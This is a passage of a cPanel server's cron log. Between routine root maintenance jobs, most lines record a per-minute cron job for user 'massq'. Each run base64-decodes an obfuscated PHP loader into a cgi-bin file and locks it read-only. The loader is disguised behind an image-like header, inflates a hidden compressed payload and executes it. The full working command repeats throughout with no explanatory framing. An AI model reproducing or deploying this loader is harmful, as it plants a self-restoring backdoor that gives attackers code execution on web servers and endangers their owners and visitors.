FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:55:01 server CROND[10681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:55:01 server CROND[10680]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:55:01 server CROND[10682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:56:01 server CROND[10811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:57:01 server CROND[10882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:57:01 server CROND[10883]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 00:58:01 server CROND[11007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:59:01 server CROND[11121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:00:01 server CROND[11187]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:00:01 server CROND[11188]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:00:01 server CROND[11189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:00:01 server CROND[11186]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 01:01:01 server CROND[11343]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 01:01:01 server CROND[11344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:01:01 server run-parts(/etc/cron.hourly)[11343]: starting 0anacron
Apr 10 01:01:01 server anacron[11356]: Anacron started on 2025-04-10
Apr 10 01:01:01 server anacron[11356]: Normal exit (0 jobs run)
Apr 10 01:01:01 server run-parts(/etc/cron.hourly)[11358]: finished 0anacron
Apr 10 01:02:01 server CROND[11428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:03:01 server CROND[11499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:04:01 server CROND[11662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:05:01 server CROND[11722]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:05:01 server CROND[11723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:05:01 server CROND[11725]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 01:05:01 server CROND[11726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:06:01 server CROND[11842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:07:01 server CROND[11914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:08:01 server CROND[11993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgy